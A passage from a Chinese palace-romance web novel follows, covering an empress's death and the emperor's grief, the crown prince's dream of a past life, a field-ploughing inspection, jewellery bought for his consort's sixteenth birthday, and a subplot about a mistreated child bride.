他想她真是累了,便像这几个月以来的每一次那样,她真的只是睡着了。
于是他打算扶她躺下,然而这回没等他动作,掌心里的那只手重重滑落。
庆昭帝顿了一瞬,重新握起那只手。
“皇后。”
良久无人应。
庆昭帝神色未变,只搂紧人,声音仿若从喉咙里挤出来一般:“请御医。”
御医来了。
替宋皇后诊了腕脉,测了颈脉,探了鼻息,听了心音,遂皆神色惊变。
屋中一时静得吓人。
“陛下。”
“皇后娘娘,薨了……”
宋皇后薨了。
十数个御医、太医跪伏在地,坤和宫的宫人从里到外不知何时也跪了一片。
有人在哭,但没敢发出声音。
正值深秋月半。
天际如泼墨,起了风,空中的云徐徐散开,明澈清亮的圆月变得朦朦胧胧。
有不知名的鸟啼。
该吵的,偏衬得今夜万籁俱寂。
庆昭帝在床榻前坐了片刻。
而后转身换了个位置。
像近段时日以来他偶尔喂她喝药那般将她抱到怀里,让其背靠着他。
他将她牢牢圈住。
喉咙很堵,胸腔内似承载着巨石,压得他很闷很痛,眼睛里有什么漫了出来。
是什么?
庆昭帝抬手摸了摸,指尖上多了水渍。
也不知从何而来。
总不能是他哭了吧?
庆昭帝暗自哂然。
他是皇帝,天塌了他都要顶住。
何至于为一人离世泪流?
宫里宫外皆道他与宋皇后伉俪情深,琴瑟和鸣,为天下夫妇之表率。
唯有庆昭帝清楚。
他与她之间没有情爱。
她讨好他,伺候他,关心体贴他,为他生儿育女,实则皆是她活命的路数。
庆昭帝了若指掌,也并不反感。
她没有娘家,出身寒微,靠勤劳双手在宫里讨生活,无辜被卷入他的后院。
他该对她负责。
她是他的责任。
时隔四十余年,庆昭帝其实不太记得两人的初见了,但他记得起初他并不喜她。
因为她在他与郑氏之间择了后者。
彼时他年轻,气性大,恼羞成怒。
便对她放任了。
他也没心思去在意一个侍寝宫女。
天下男儿多薄幸,其中以皇家子弟为甚。
庆昭帝从不认为自己会与情爱沾边,他见多了人性,对自己也有清晰的认知。
所以得知她有孕,他赐了赏便没再过问了。
她听郑氏的话。
郑氏也需要她。
只要她安安分分,总会活下来。
是什么时候开始对她上心的呢?
庆昭帝想,大抵在她生产之后。
他去看她。
十六岁的小妇人,憔悴得厉害。
看见他便红了眼,他不过与她道了句“辛苦”,她说着不辛苦面上泪如雨下。
庆昭帝也不知自己当时怎么想的,主动拥住了她,拥住他的第一个女人。
曾经为她选择郑氏而生出的羞恼,仿佛也在抱住她的那一刻烟消云散。
之后她成了他的奉仪,他正式临幸了她。
庆昭帝当时对自己的后宅女眷,其实存在一种近乎于空中楼阁般的安排。
极为理想化。
因着他患有隐疾。
因着他自小不喜父皇的妃嫔勾心斗角,不喜父皇抛开母后去别的地方。
所以他不想纳妾,想只要一个妻子。
可惜人生在世总不会事事如愿。
于是他纳了妾又娶了妻。
可彼时他还是持着很理想化的想法。
在考虑到前朝掣肘的同时,他还是觉得除非必要,否则他不会临幸后院的谁。
他日常给她们好的待遇,赏赐。
让她们在东宫安稳生活。
而临幸小宫女便是这个必要时候,他需要子嗣,但又不需要太多子嗣。
所以那之后他除了她,仍没有临幸其他人。
庆昭帝以为那时候自己只要好好养大曜哥儿,平衡好后宅女眷之间的关系。
他便可以走一条不同的路。
毕竟史上又不是没有少妾少子的皇子登上那个位置,别人可以他也可以。
可惜啊。
世事万般不由人。
储君这位置就是个活靶子。
太子非但没有人们想象中的权势滔天,反倒稍有不慎便会落入不复之地。
他没能护住曜哥儿,没能护住母后。
也险些没护住他的女眷。
所以后来。
他放弃了那些空中楼阁般的原则,成了和史上多数太子别无二致的储君。
为了所谓的大局,哪怕明知郑氏是什么样的人,他也还是让其成了皇后。
放任后宫妃嫔相斗。
要说唯一的特例,那便只有宋氏。
庆昭帝后知后觉他临幸她时不必用药,不曾犯病,不曾感到厌恶排斥。
究其原因。
按莫院判生前所说,他的病乃心病。
属心理疾病引起生理病症,只要心理上并不反感排斥,便不会引发犯病。
庆昭帝也不知自己为何会对宋氏不反感,总之她在他这儿成了唯一的特例。
因此他宠她,渐渐似乎宠她成了习惯。
得知郑氏与曜哥儿的死有关,他与她同样恼怒,因而他成了她报仇的刃。
郑氏死后,她顺理成章成了他的皇后。
他们朝夕相处夜夜缠绵。
朝堂局势稳定,他没什么掣肘了。
她恰好也无外戚干政之私。
他便自然而然与她如寻常夫妻那般,只她一个,他们做了二十年的夫妻。
情分自是深的。
至于情爱,她对他没有。
他对她,庆昭帝自认也没有。
他只是会在同她相处时感到惬意,会在看到她笑时不自觉跟着笑。
会想日日与她行亲密事。
会因她的某个言行举止而身心愉悦,会想将所有好物赠予她,会想让她欢喜。
庆昭帝想,自己大抵是宠惯她了。
习惯了她。
所以才会有诸如此类的想法。
才会在得知她身患不治之症时大发雷霆,会为了她的病整宿地睡不着。
也因此,他此刻才会为她的离世而落泪。
“皇后。”
庆昭帝收紧双臂,侧首蹭槛儿的发顶,蹭她消瘦的脸颊,低声喊了她一声。
又唤:“槛儿,宋槛儿。”
第175章 庆昭帝驾崩,太子识情爱:只是想亲她……
年逾七十自愿留宫的海顺哽咽出了声,贴身伺候槛儿的人也隐隐低泣。
庆昭帝抱着人,置若罔闻。
不知不觉天亮了。
所有妃嫔和皇子公主们齐聚在坤和宫外。
帝后的一双儿女太子骆晞,昭宁公主骆瑭半夜收到消息过来,也是跪哭至今。
女官为槛儿沐浴敛服。
庆昭帝亦换上一身玄色龙袍。
他好几身这样的龙袍。
槛儿也喜欢看他这么穿,昨晚临睡沐浴换寝衣前她还赞他俊来着。
平日里分明那般端庄矜持,昨晚倒是“豪放”了一回,也是最后一回。
庆昭帝的头发全白了,仅一夜之间。
见女官要将槛儿盖上,他皱眉上前将那布给扔了,又坐回床榻上抱着人。
雕塑似的坐了一天。
坤和宫外跪着的一众人纷纷哭劝陛下节哀,海顺垂着泪搬出皇后娘娘来劝慰。
良久。
庆昭帝终于动了。
他抚了抚怀中人舒展的眉眼,嗓音嘶哑:“罢了,这四十年,辛苦你了。”
“今后不必伴君如伴虎,不必再小心伺候我,你该是欢喜的,你欢喜就好。”
“你欢喜……”
话音未落,庆昭帝的嘴角溢出血丝。
人猝不及防地倒下去。
现场乱作一团。
宋皇后薨逝,谥号孝显懿皇后。
神主牌供奉入皇室太庙。
皇帝缀朝二十七日。
全国举哀四十九日,期间禁嫁娶、宴乐、屠宰、佛寺道观暂停鸣钟。
官员军民着素服。
众皇子公主不论嫡庶,皆服丧三年。
二十七日后,庆昭帝龙体抱恙。
太子骆晞于一月后继任新帝。
称顺平帝。
庆昭帝奉太上皇。
本年延用庆昭年号,新年号次年启用。
顺平元年二月二十日,太上皇病愈。
二十七日。
太上皇携数名锦衣卫微服离宫,云游大江南北,逢道观必进香礼拜。
五年后,太上皇回宫。
新帝无后,太上皇重开坤和宫。
点香灯,诵生天经九十九日。
九十九日后,太上皇一病不起。
顺平七年四月十六日。
太上皇驾崩于西苑万寿宫。
享年七十。
临终前顺平帝与昭宁长公主在前侍疾。
昭宁长公主哭道:“父皇为母后诵经近百日,必定能与母后再修来世缘。”
骆峋拍了拍女儿的手,闭上眼。
他从未求过与她有来世。
他只求她与曜哥儿能再续母子缘,求他们母子二人不再骨肉分离。
另有一想法,颇为荒诞。
他想,若是其母子能重回过往便好了。
年轻时的他若是能改改性子,能替他弥补他们一二,能让她不再那般苦楚便好了。
她当初怀胎十月,他不曾关怀体贴,她彼时那般胆怯,该是有多怕。
若是、若是……
罢,过于荒谬。
想也是枉然,骆峋看看眼前的孩子们。
笑笑,万般心绪随身故化作一抹余念。
人之至死。
往事不知多少。
不识情爱,不得见尔。
.
骆峋醒了。
和之前梦见他幸槛儿那次一样,帐子里静得厉害,唯有他的喘息声。
和他自己能听到的心跳声。
眼很酸涩,有温凉的液体顺着眼角流下来,心口发紧闷痛,似钝刀剜肉。
等眼睛适应了帐中昏暗朦胧的光线,骆峋摸了摸眼角,再抬手一看。
指腹上水渍濡湿。
有一小滴顺着指节流至掌心。
骆峋怔忪了片刻。
遂抬起手臂挡住眼睛。
他这会儿平躺着,左胳膊被身边人枕着,腰被她搂着,腿被她的腿压着。
寝裤不知何时被她蹭得快到膝上,能感受到她小腿上细腻的皮肤。
她倒是不觉他腿糙。
骆峋记得,自己是从去年端午那晚开始在她这边留宿的,当晚她便是如此。
彼时他只当她睡着了不知事,故而显露了骨子里大胆的本性。
后来在她身上印证了些许姜氏所言,骆峋便想,她待他时而自然流露出的亲近或真是来源于她曾经的习惯。
但那时仅是猜想,没有实感。
而此刻,他似乎终于笃定了。
她对他的某些行径,对他自然而然的亲近,皆源于旧习,源于对他的熟悉。
梦没有规律可循。
日有所思夜有所梦也不尽然。
他连着两回梦到她的“上辈子”,俨然已经超出了常理和巧合的范畴。
不对,不止两回。
去年四月幸她之前,他连着三晚做了艳梦。
梦里的她便正如现实中他幸她时那般妩媚勾人,缠得他几度溃不成军。
为何会在临幸她前,做那般的梦?
骆峋曾以为是谁使了手段控制了他,为此让人将自身和宫内外查了个遍。
所幸没有中招。
而后来幸了她,他也没再做那样的艳梦。
那时骆峋找不出做梦的原因,就暂时将其搁置了,如今他却是知其根源了。
因为庆昭帝的所求成真了。
那三晚的梦,是为了让他对她上心,为了他能弥补经受了太多苦楚的槛儿。
骆峋有个猜测。
若他与槛儿那晚处得并不愉快,或许那样的梦他会一直做下去。
直到他幸了她。
如果他幸了她却不待她好,兴许还会有其他梦等着他,直到他待她好。
前世今生夙愿成真,确实很荒诞。
然大千世界,无奇不有。
一切又似乎说得通。
心口残留着几分窒息感,那种失去了重要之人的茫然无措,心如刀绞之感。
往事不知多少。
不识情爱……
“情爱……”
骆峋低喃。
仍用手臂挡着眼,另一只手托着身旁之人的肩颈往自己这边揽了揽。
槛儿若有所觉。
咕哝了一声“殿下”顺势贴紧他。
半晌。
骆峋探探心口。
再侧首看她。
看了有一会儿,他将人放平俯身吻上去。
槛儿被亲得恍恍惚惚,习惯性抱住他回应。
等到一吻结束。
她笑着睁眼,声音里带着刚睡醒的软媚喑哑:“您做什么半夜起了兴致……”
骆峋没说话。
倒是抵着她的唇,若有似无地蹭着。
槛儿便把手探进他衣摆。
骆峋身子一绷,按住她。
“胡闹。”
槛儿可不认,嘟囔着:“也不知谁先动的……”
骆峋噎了噎,搂着她躺回位置。
“睡吧。”
槛儿真想捶他。
睡前怪怪的就罢,睡到半夜也怪怪的。
槛儿没忍住问:“殿下,您怎么啦?”
“没。”
没什么半夜醒来亲她?
槛儿默了默,旋即语不惊人死不休。
“殿下,您可是憋狠了?”
“要破例让妾身用别的方式伺候您吗?”
骆峋:“…………”
根本没那方面想法和反应的太子爷恼羞成怒,把她的脑袋往他肩窝一按。
“不需要!”
他只是。
想亲亲她……
第176章 槛儿生辰,太子变身庄稼汉
槛儿的冠服金册礼部叫人送来了,就在次日一早,所以她扭头便将太子半夜的奇怪行为抛到了脑后。
也是这种事不一定要弄明白,没准儿真是憋狠了,他自己不好承认呢。
槛儿自是要善解人意。
二月下旬,天气逐渐回暖了。
连着两日的春雨过后,院里的萱草生出嫩绿新芽,玉兰树下花瓣如雪飘落。
连翘开了满枝头,晴空下一片耀眼的黄,年前被膳房捞走的锦鲤也回了池子。
天气暖和,曜哥儿也能偶尔到室外活动了。
戴着有两只小耳朵的鹅黄虎头帽,穿着绣了小蝙蝠的鹅黄提花缎面夹袄。
从头黄到脚地被奶娘抱着站在两丛连翘花跟前,乍一眼槛儿分不清儿子在哪。
他倒是乐呵。
奶娘指着东西哄他,说这个是花花,这个是小草,这个是大树,树上面有鸟。
曜哥儿看不到鸟,也看不清花草。
但他能看到鲜艳的颜色,能听到鸟雀鸣叫,能看到站在廊檐下娘的轮廓。
听到娘笑着哄他的声音。
曜哥儿便伸出小手,“啊呜,呜咿?”
喜雨拿着拨浪鼓晃。
“主子,小主子在叫您呢!”
“曜哥儿叫娘做什么,要娘抱抱吗?”
“呜啊!”
二月二十七是个好日子。
槛儿十六岁生辰。
其实本朝算年龄一般过了除夕子时,不论生辰具体哪一天都算长了一岁。
这也是为什么之前槛儿还没过生辰,瑛姑姑却说她十六岁,便应在这处。
按制良娣的生辰该由典玺局和膳房操办一个小型生辰宴,请太子太子妃和后院的众妾室吃席什么的。
但槛儿要到三月才坐完月子呢,加之现今后院就秦昭训一个能出入的。
不方便,办起来也没什么意义。
所以槛儿这回不办。
早上受了跳珠他们的礼,给了他们赏钱,晚上等太子回来两个人吃一顿即可。
正是春耕时节,本朝尤为重农。
正月底刚开春各地就上了折子报当地的春种,元隆帝从户部工部和都察院抽了不少人到外地巡农。
京郊一带则派了人驻守。
骆峋今早一上值便和管农田水利的都水清吏司两个主事,并工部右侍郎和司务厅的人去京郊巡视了。
察看农田开垦、粮食播种、灌溉水渠什么的,完了亲自驾犁耕了半亩地。
也是难得亲身接触农耕之事,体验百姓辛劳的机会了,正应了那句“不执耒不知农苦,不流汗难恤民艰”。
所以骆峋对此甘之如饴。
他身板儿结实,又有一把子力气。
穿一身藏青的粗布短褐,单看背影跟动作俨然是个健壮粗犷的庄稼汉子。
田边的百姓赞不绝口,直道这小伙儿是个庄稼好把式,工部一伙人连连擦汗,完了也赶忙吭哧吭哧地干。
詹事府官和御史在一旁记录。
元隆二十一年春,皇太子峋巡京畿农务,驾犁耕田半亩,犁入土十寸。
百姓赞之力胜稷牛。
差不多申时过半,骆峋坐着一辆青帷马车,领着一行人稀稀拉拉回了城。
十来个锦衣卫混迹在人群里,司务厅两个书吏在车内下首处汇报今日巡视之地的总体农耕情况。
马车驶到前门大街。
沿街商铺酒肆林立,熙熙攘攘人声鼎沸。
就在这时。
马车为避让嬉闹孩童颠簸了一下,准备从文书袋里拿东西的林鸿渐一个趔趄从小杌子上栽跌了下来。
好悬没一头磕到太子的脚。
车外响起随行官员斥责赶车人的声音,之后是询问声:“爷,没事吧?”
爷没事。
但林鸿渐的叆叇掉到爷坐的位置下面了,他忙不迭请罪,骆峋挪挪脚。
林鸿渐谢了恩就趴在车板上寻摸,叆叇没寻摸出来,倒是怀里又掉出个东西。
是个不起眼的柏木匣,掉到车上被撞开了,一支朴素的银簪掉了出来。
另一个书吏见状腿一软,跪下瑟瑟发抖。
林鸿渐:“殿下恕罪,小的……”
“寻你的叆叇。”
林鸿渐找到叆叇戴上又忙捡起银簪装回盒子收进怀里,再跪下请罪。
骆峋没怪罪于他。
只问:“缘何当值期间携外物在身?”
林鸿渐心里一“咯噔”。
担心太子误会他怠职办私事,忙解释道:“回殿下,原是小的为贱内在一首饰铺定了此簪。
午膳时候那铺子伙计给送来了,请殿下明鉴,小的绝不敢在当值之时办私事!”
骆峋让他起来。
过了会儿,他敲敲车门。
“去一趟衔福楼。”
衔福楼隶属于工部管辖的银作局,制造宫廷器物,对外则卖首饰。
是京城最大的首饰楼。
日常工部会派人巡视,车外随行官员闻言也只当是太子要微服巡楼。
于是一刻钟后,马车停在了衔福楼门前。
身着常服的锦衣卫撩起帘子,骆峋掠过矮凳,长腿一迈直接下了车。
他一身雨过天晴银线竹叶纹的宽袖锦袍,外罩一件纱衫,头戴鎏金嵌玉冠。
少了太子冠服的震慑感。
但举手投足间雍容贵气分毫不减,尤其那俊挺伟岸的身姿和俊美清冷的脸。
几乎一下车就引起了门前一众人的注意,骆峋目不斜视径直步入楼中。
进去后上二层,自有人将相关的物料账目、工匠名册什么的呈上来。
骆峋认真核查一番。
和管事的聊了几句公事,旋即淡淡道:“拿几样首饰来,看得过眼的。”
管事的擦汗。
也是想不通太子怎的想起看他们的首饰了,宫里的首饰不比外头的好啊?
咱也不知道,咱也不敢问。
管事的一口气领着人抱了二十多个盒匣来,打开,骆峋淡然地扫视一圈。
最终挑了一对儿金镶宝玉兔耳坠子,一枚翡翠戒和一对水色剔透的红玉镯。
另并一串奇楠嵌金手串、一个黄玉扳指。
手串给母后,扳指给父皇。
从衔福楼出来。
锦衣卫撩起帘子,骆峋抬脚正要上车。
突然。
“槛儿!”
“槛儿等等我嘛!”
骆峋眸光一凝,顿步循声望去。
第177章 傻子与童养媳,太子孝顺老子不乐意了
衔福楼前人来人往,街中人头攒动,街边各式各样的小摊前百姓扎堆。
“爷,可是有吩咐?”
锦衣卫问道。
骆峋敛起目光折身上车,“没。”
马车驶远,从衔福楼里款步走出一女子。
其人着一身菊黄折枝玉兰的立领长衫,梳着双鬟髻,髻上两朵绢花并珍珠宝笄。
额前几缕刘海,看模样十五六岁。
“姑娘,看什么呢?”
丫鬟云棠伸长了脖子张望,不解地问。
高若漪收回视线摇摇头。
垂下眼时嘴角扬起一抹羞涩的笑。
她没看错,那人就是太子。
高若漪红了脸,由婢女搀着上了马车。
而与此同时。
不远处的一条小巷子里。
“槛儿,槛儿你别走那么快嘛。”
却是一个身量七尺有余,穿着棕色粗布短褐,国字脸,皮肤黝黑看似二十左右的男子正在追一名小妇人。
那小妇人娇小纤瘦。
上身一件瓷白灰碎花交领短衫,围腰下是素绿色的百迭裙,头上包着碎花布巾。
是很寻常的民间妇人装束。
“槛儿槛儿槛儿,说了我不叫这名字,你能不能别这么叫,真的很烦……”
秋穗娘皱紧眉,微黄的脸上一双圆眼,模样清秀端正,看气质有些羸弱。
董茂生缩了缩脖子,瘪着嘴说:“好嘛好嘛,不叫槛儿,那叫啥?你叫啥?”
秋穗娘眼发酸地捂住了脸。
她烦槛儿这个名字,甚至到厌恶的地步,不仅仅因为自己老被叫错人。
被当成别人。
而是她虽不认识这个名叫槛儿的人,心里却是对此人极为怨恨的。
当初他们一行丫头男娃,因着各种各样的原因被人牙子收了,那人牙子是专替大户人家物色丫鬟小厮的。
原本秋穗娘和其他人一样,都是要被卖到凤阳府的大户人家当丫鬟的。
哪知途中,他们遇上了一家子逃命的人。
说是他们村子遭了土匪,他们也准备去凤阳府,两伙人就同了路。
路上得知逃命的那家人姓董,儿子是个傻的,说是出生时在娘肚子里给憋的。
他娘陈月娥是个嘴皮子利索会来事的,没几天便和人牙子打成了一片。
也不知她怎么同那人牙子说的。
临到两伙人分开时,人牙子竟挑了个女娃送给陈月娥,说让她带回去做童养媳。
这个女娃便是秋穗娘。
秋穗娘那时候小,不懂给普通人家做童养媳和去大户人家当丫鬟的区别。
不过她那会儿想得开,觉得反正都是要干伺候人的活儿,就这么过着吧。
事实证明她想得太简单。
陈月娥尖酸刻薄,霸道泼辣,啥事儿都能鸡蛋里挑骨头,打她,不给她饭吃。
董家的男人则不管事。
而那个傻子三岁幼童都不如,吃喝拉撒要人照顾,每天都要给他端屎倒尿。
日子一久,秋穗娘自然便撑不住了。
她觉得苦,周围人也说她命苦,加上知道傻子以前有个童养媳,叫什么槛儿。
按陈月娥说法,那个槛儿是个不安分的小浪蹄子,小小年纪就勾搭人跑了。
可惜那天土匪来了,人估计早被砍死了。
真真是恶人自有天收。
秋穗娘原本对这个叫槛儿的人没啥想法,毕竟面都没见过,人都不认识。
可她过得苦啊。
又听别人说宰相门前七品官,大户人家的丫鬟可是跟小姐同吃同住,回头还能给少爷做个姨娘啥的。
那可就是见天儿的好日子。
听多了,秋穗娘就不平衡了,怨上了。
她想如果不是槛儿不安分,小小年纪就跟人跑了,让傻子没了童养媳。
她根本不会被人牙子送给陈月娥!
她就能去大户人家当丫鬟,能跟小姐同吃同住,做少爷的姨娘过更好的日子!
这样的想法日复一日。
秋穗娘对那个槛儿的怨恨也越来越深,时至今日更是怨到了骨子里。
总觉得若不是槛儿跑了,她现在没准儿早成大户人家里的姨娘了,哪用得着在这儿受一个傻子的气!
还要被逼着跟傻子生孩子!
又怨又悲,秋穗娘没忍住哭了起来。
董茂生见状急了。
“你别哭啊,槛儿你别哭,对不起,对不起……怎么办,槛儿怎么办?”
董茂生急得团团转。
也是当初他娘把槛儿买回去时跟他说了,槛儿今后就是他媳妇儿了。
他媳妇儿就是槛儿。
所以董茂生便认定了媳妇儿就叫槛儿,槛儿就是他媳妇,哪怕换了一个人。
另外也有一个原因。
那便是董茂生当初真的喜欢槛儿。
他觉得槛儿好看。
喜欢到什么程度呢。
便是他自来憋不住屎尿,根本没想过憋。
但槛儿照顾了他一段时间之后他不仅知道憋了,还知道拉之前叫人。
问他原因。
就说是槛儿让的,他不想槛儿哭。
就因为这,他娘格外不喜欢槛儿。
觉得槛儿小小年纪就能把一个傻子都给勾住,摆明了就是个不安分的。
将来长大了铁定守不住。
所以当初他们村子遭土匪时,他娘虽然舍不得浪费买槛儿的银子,但最后还是咬牙把槛儿给撇开了。
可惜她把槛儿人给撇开了,却没能从他儿子脑子里把槛儿这个名字给撇开。
秋穗娘哭得更凶了。
董茂生不知道怎么哄,最后急得撞墙。
他惯是如此。
也不是逼谁,就是习惯性急起来不要命。
秋穗娘哭着拽住他,“婉娘,我叫婉娘……你别急,我跟你说就是了……”
董茂生转过来抱住她。
两个人哭作一团。
幸好巷子窄,两边路上人声喧天的。
倒是没人注意到他们。
正哭着呢,头顶忽然响起一道声音。
“你们说的槛儿,可是姓宋?”
秋穗娘抬头,就见一寻常样貌的中年男人不知啥时候站到了他们跟前。
“你哪位?”
秋穗娘擦着眼泪问。
那男人笑笑,将一锭银子抛给她。
.
骆峋先去了趟坤和宫。
得知儿子上值也不忘给自己带东西,裴皇后当场将那串验过的青奇楠手串给戴上了,越看越喜欢。
奇楠是沉香中的极品。
历来在贡品之列,但除了白奇楠,其他几种奇楠本朝没将其列为皇室专用。
因此宫外也是卖得的。
“怎么想起从宫外带东西了?”裴皇后端详了会儿手串,好奇地问。
骆峋一本正经。
“巡楼恰好入了眼,想着适合您。”
“是挺适合。”
裴皇后爱不释手,低头嗅了嗅。
“衔福楼器物做得好,首饰也不错,这青奇闻着比白奇更柔,你有心了。”
“母后喜欢便好。”
说完,将另一个锦盒放到炕几上。
裴皇后打开一看就笑了。
“等你父皇来了我转交给他,儿子从宫外孝敬回来的,他肯定喜欢。”
骆峋不觉得。
必定早有人向父皇报了信,父皇知道他临时去巡楼,也知道他买了什么。
元隆帝确实知道。
太子从衔福楼出来他便收到了消息。
所以当裴皇后拿出那枚上等用料的黄玉扳指给他,他皮笑肉不笑地哼了好几声。
最后颇为嫌弃地戴上。
“宫里什么东西没有?用得着他从外头带,明摆着就是怕老子说他不务正业,耽于私情,沉湎美色。”
“这是在封你我的口!”
裴皇后斜他一眼。
“也没见把您的口封住。”
元隆帝瞪她,“你封住了?”
裴皇后晃晃腕子上的手串道:“我知道儿子孝敬我的,我享我儿子的福。”
这话元隆帝就不爱听了。
“合则你没享过我的福?我没让你享福?”
全仕财没耳朵听,领着一帮子人出去了。
裴皇后一言难尽地看着丈夫:“您说的什么话,怎么就扯到这上头来了。”
“你来。”
元隆帝下了炕,把人拽进内室。
“咱俩谈谈。”
裴皇后:“……”
第178章 太子男模,“生辰安好。”
太子过来时,槛儿正在炕上逗曜哥儿。
这个时期的孩子真是一天一个样,满月时曜哥儿的脑袋瞧着形状没多圆。
这才过了十天,他的头简直提溜圆。
五官也长开了不少,皮肤完全成了嫩豆腐,小脸蛋两团肉动起来直打着颤。
尤其他身子骨结实。
块头一点不比足月的小。
手脚甩起来有劲儿,醒着时槛儿一同他说话他嘴里就“啊呜哦”个不停。
小福子在外说殿下来了。
小家伙就挥起了小手,嘴里呜呜呀呀的。
槛儿将他从炕上抱起来。
出来见到太子便说:“曜哥儿知道爹爹来了,乐得就差开口叫爹爹了呢。”
曜哥儿:“咿嗯哇!”
骆峋捏捏儿子的小胖手。
顿了一下,他向槛儿伸手。
他并不排斥抱孩子,觉得男人不能抱孩子什么的,只到底对这事不甚熟悉。
加之他鲜少得空,有时候来了也要在书房处理公务,忙完了儿子也睡了。
所以至今太子爷抱儿子的动作都很生疏,槛儿也要装新手不能过于熟练。
于是,奶娘们便战战兢兢看着两位主子动作别扭地交替着抱孩子,做好了随时冲上去救场的准备。
所幸无惊无险。
曜哥儿睁着乌溜溜的大眼睛看着爹爹,小手抓爹爹衣襟上的金线团龙。
骆峋睨他一眼,由槛儿挽着进了屋。
虽说宋良娣的生辰不办,但晚上这一顿膳房也是下了不少功夫的。
膳食单子是拿给太医看过的,既满足了宋良娣坐月子之需,又能让太子用着不觉乏味。
像是醋溜鳜鱼片嫩滑鲜香,开胃又易消化,红枣枸杞蒸鹌鹑,味美甘醇温补。
清炖的鹿筋烩蹄筋用高汤煨得软烂香糯,加了香菇冬笋,汤汁浓稠鲜美。
当然,寿面寿桃是少不了的。
奶黄馅的寿桃做成了幼儿拳头大小,白白胖胖,顶部染了个粉红桃尖儿。
手擀银丝面煮好了放入去了浮油的高汤里,最后浇上由鸡丝、虾仁、荷包蛋、笋片和豌豆苗等做的浇头。
闻着就让人口涎泛滥。
譬如曜哥儿。
他当魂魄的时候没嗅觉,不会感到饿。
如今有了身体,曜哥儿在娘肚子里就能闻到尝到羊水的味儿了,尤其这时期的婴孩比大人嗅觉更灵敏。
寻常小孩开荤前没沾过油盐荤腥,闻见了也没感觉,然而曜哥儿早沾过荤。
所以天知道他这个月偶尔逢上娘用膳有多馋,围兜都要兜不住口水啦。
槛儿和太子用膳时,曜哥儿就在旁边的摇车里踢着小脚啊呜地**。
奶娘刚刚本是要将他抱下去的,他不干,闹着就要跟爹爹娘亲在一起。
槛儿扭头看到儿子的口水哟。
奶娘擦都擦不过来。
槛儿忍不住笑出了声,“瞧你那口水,不知道的还当你这就要长牙了呢。”
此前槛儿和太子用膳时虽没再拘泥于食不言的规矩,却是仅限于夹菜和眼神上的交流,倒没直接开过口。
这会儿槛儿算是彻底打破了这个规矩,瑛姑姑他们的心反射性一紧。
不怪他们到现在还动辄一惊一乍的,明明都知道太子宠他们主子了。
而是太子宠良娣归宠,但若有宫人在,太子十成里有九成九是极为重规矩的。
槛儿也是说完才反应过来,不过她倒没觉得什么,有些习惯总要慢慢改的。
之前是时机不成熟,现在就差不多了。
也的确差不多,骆峋看了她一眼,旋即去看儿子:“四个月左右长牙。”
槛儿假装不懂道:“那现在这样是为什么呢?”
骆峋无端有种被她当孩子哄的感觉,不过还是道:“白日里可流得多?”
槛儿:“偶尔一点。”
骆峋看了还在往外渗口水的儿子两息,最终拍板:“稍后请医。”
曜哥儿:“……”
曜哥儿闹着让奶娘抱走了。
没多会儿喜雨过来禀道:“殿下,良娣主子,小主子没流口水了。”
槛儿给太子夹了个寿桃,闻言忍俊不禁:“不知道的当他刚刚被馋到了呢。”
骆峋不置可否。
晚上,槛儿先一步收拾完。
太子从浴间出来时,她意外发现太子穿的竟是她新年送他的那套寝衣。
淡黄色的上等提花绫料子,仅在衣襟和袖口处绣了宝相花并灵芝纹,裤脚边则绣了水波如意纹。
槛儿摸出来的尺寸,简直不要太合身。
恰到好处的宽松。
行走间可见男人精壮的胸腹肌轮廓,在顺滑丝薄的布料下若隐若现。
迈步时寝裤时不时贴合,勾勒出他两条长腿上流畅坚韧的肌肉线条。
男人的雄厚阳刚之气仅在举手投足间一览无余,可明明就只是一套寝衣。
槛儿拿手背碰了碰脸。
状若无事地走过去替太子理衣裳,“尺寸合适,您穿着可觉舒服?”
“嗯。”
骆峋发出一声淡淡的鼻音,目光停在她晕染了一层薄粉的脸蛋上。
槛儿不经意抬头,迎着男人看似冷淡实则深幽的黑眸,她放在他领边的指尖碰到了他颈间温热的皮肤。
海顺这个人精。
见势似乎不对立马领着人跑了。
“孤喜欢。”
安静的屋中,男人的声音低低冷冷。
似是格外的
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醇厚磁性。
槛儿意外于太子的直白,愣了一下。
骆峋握住领边的那只手。
“寝衣,孤甚喜。”
槛儿觉得太子很反常,明明不是会把喜与不喜这种话挂在嘴边的人。
这会儿居然连着说了两遍。
可她又不得不承认,她听着很高兴,槛儿看他一眼,似羞非羞地低下头。
“您喜欢就好。”
顿了一下,她道:“之前您说要穿给妾身看,妾身还当您早忘了这事儿。”
“没忘。”
骆峋摸摸她的脸,转身走到卧房门口,回来时手中多了个不小的匣子。
槛儿狐疑。
骆峋将匣子递到她面前。
“生辰礼,巡视衔福楼顺便买了几样。”
槛儿惊讶,不是惊讶太子送她礼这件事,而是东西居然是衔福楼的!
衔福楼她知道啊,承接宫里的一些金银器物,对外是京城有名的首饰楼。
槛儿前世首饰不缺,可那都是内造的。
除了小时候入宫前戴过在街头买的绢花,后来她就再没戴过宫外的首饰了。
虽说是太子顺便买的,可槛儿高兴啊,打开看到里面的东西就更高兴了。
“殿下,我想现在试试。”
骆峋颔首。
槛儿抱着匣子去了妆台。
先戴上金镶红宝白玉兔的耳坠子,再戴上那两支成色相当好的红玉镯。
她皮肤白,红宝红玉都尤为衬她。
“您看好看吗?”
槛儿晃了晃脑袋又摆了摆手腕,从镜子里看向太子笑弯了眼问他道。
骆峋来到她身后,双手搭在她肩头,随后弯腰俯身与她一道看着镜子。
“嗯。”
从镜子里看,他宽阔的胸膛将身前之人尽数笼罩,俊美的面容一派清冷。
而他怀里的人。
桃腮粉面,领如蝤蛴,鼻腻鹅脂,唇似朱丹,一双美眸秋波盈盈顾盼生姿。
郎才女貌,不外如是。
槛儿瞧着瞧着不自在起来,要把东西摘下来,左手突然被太子拿了起来。
跟着不待她反应,男人修长的手指拿着一枚翡翠戒套到了她的食指上。
戴好,他握着她的手看了两息,随后一如既往地惜字如金道:“生辰安好。”
槛儿看着他。
就这么看着。
须臾,她按了按心口仰头吻上太子的唇。
一下、两下……
他亲昵地回吻着她。
槛儿几乎溺在他深不见底的墨瞳和温柔里,抬手牢牢攀上他的脖颈。
骆峋托着她的后脑,另一手抚抚她的眼角,摸摸她戴着红宝玉兔的耳垂。
不多时,他单手将人抱起。
步入帐中。
第179章 太子做戏一本正经,“不行,得赶紧治!”
一场事没有罢。
槛儿月子没坐完呢,自是不能行到最后。
但饶是如此,也还是让两人在仲春的夜里出了一身的汗,特别是太子。
即便两人没有完全地坦诚相见,掌着灯带给他的冲击也是前所未有得大。
他险些眼睛都不知往何处看。
